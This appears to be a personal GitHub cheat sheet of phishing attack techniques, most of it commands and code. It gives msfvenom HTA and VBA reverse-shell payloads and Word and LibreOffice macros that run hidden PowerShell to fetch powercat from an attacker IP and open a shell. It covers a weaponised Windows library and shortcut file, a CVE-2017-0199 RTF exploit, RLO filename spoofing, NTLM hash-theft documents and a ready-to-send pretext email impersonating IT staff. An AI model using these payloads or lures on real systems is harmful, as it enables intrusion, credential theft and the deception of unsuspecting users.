Skip to content

Fishing.md

Latest commit

 

History

History
173 lines (146 loc) · 6.87 KB

Fishing.md

File metadata and controls

173 lines (146 loc) · 6.87 KB
Raw

http application attack(works against Internet Explorer and to some extent Microsoft Edge)

1. msfvenom -p windows/shell_reverse_tcp(windows/x64/shell_reverse_tcp,windows/x64/meterpreter/reverse_tcp) LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o evil.hta

office word macro development(vba script)

1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f vba -o evil
2. open word document and edit macro, copy paste then save as doc,docm
3. open a listener

Evading Protected View

This Microsoft Word document is highly effective when served locally, but when served from the Internet, say through an email or a download link, we must bypass another layer of protection known as Protected View,1 which disables all editing and modifications in the document and blocks the execution of macros or embedded objects.

Windows library files

kali:
pip3 install wsgidav
mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

Windows:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2(LHOST)</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Save as config.Library-ms

Create .Ink shotcut file with command:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');powercat -c 192.168.119.3 -p 4444 -e powershell"
Save as automatic_configuration,put it in Lhost's webdav folder

Delivery config.Library-ms via email for triggering victim to click short link:

Hello! My name is Dwight, and I'm a new member of the IT Team.

This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!

If you have any questions, or run into any problems, please let me
know!

Lhost: nc -nlvp 4444
Lhost: python3 -m http.server

image

Office Macro Using Powershell base64 encoded reverse shell

  1. Original Powershell Payload
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.181:8000/powercat.ps1');powercat -c 192.168.45.181 -p 4444 -e powershell

2.image 3. Using python to split and concatenate

str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')
  1. Copy Macro script and convince victim to enable content
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub

Change exe file ico

ResourceHacker image image

Use RLO change file extension from exe into jpg

image image

Libreoffice payload

REM  *****  BASIC  *****

Sub Main

	 Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.166:8000/powercat.ps1');powercat -c 192.168.45.166 -p 80 -e powershell")

End Sub

Tools -> Options -> Security -> Macrosecurity -> Low  
Tools -> Customize -> OpenDocument -> Assign Macro
Tools -> Macro -> Organize Macro -> Basic -> choose the file -> New -> NewModuleName
Save as odt file

Sending malicious rtf file to get revshell

1. msfvenom -p windows/shell_reverse_tcp LHOST=listener LPORT=445 -f hta-psh -o msfv.hta

2. python2 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.4/msfv.hta -t rtf -x 0

-M gen - generate document
-w invoice.rtf - output file name
-u http://10.10.14.3/msfv.hta - url to get the hta from
-t rtf - create rtf document (as opposed to ppsx)
-x 0 - disable rtf obfuscation

3. python3 -m http.server 80 for getting msfv.hta

send email with the rtf attachment, if the victim clicks the invoice.rtf, u will receive revshell

NTLM_THEFT (https://github.com/Greenwolf/ntlm_theft/tree/master):

ntlm_theft is an Open Source Python3 Tool that generates 21 different types of hash theft documents. These can be used for phishing when either the target allows smb traffic outside their network, or if you are already inside the internal network.

Browse to Folder Containing
.url – via URL field
.url – via ICONFILE field
.lnk - via icon_location field
.scf – via ICONFILE field (Not Working on Latest Windows)
autorun.inf via OPEN field (Not Working on Latest Windows)
desktop.ini - via IconResource field (Not Working on Latest Windows)

Open Document
.xml – via Microsoft Word external stylesheet
.xml – via Microsoft Word includepicture field
.htm – via Chrome & IE & Edge img src (only if opened locally, not hosted)
.docx – via Microsoft Word includepicture field
.docx – via Microsoft Word external template
.docx – via Microsoft Word frameset webSettings
.xlsx - via Microsoft Excel external cell
.wax - via Windows Media Player playlist (Better, primary open)
.asx – via Windows Media Player playlist (Better, primary open)
.m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
.jnlp – via Java external jar
.application – via any Browser (Must be served via a browser downloaded or won’t run)

python3 ntlm_theft.py -g all -s 192.168.45.172(The IP address of your SMB hash capture server) -f contracts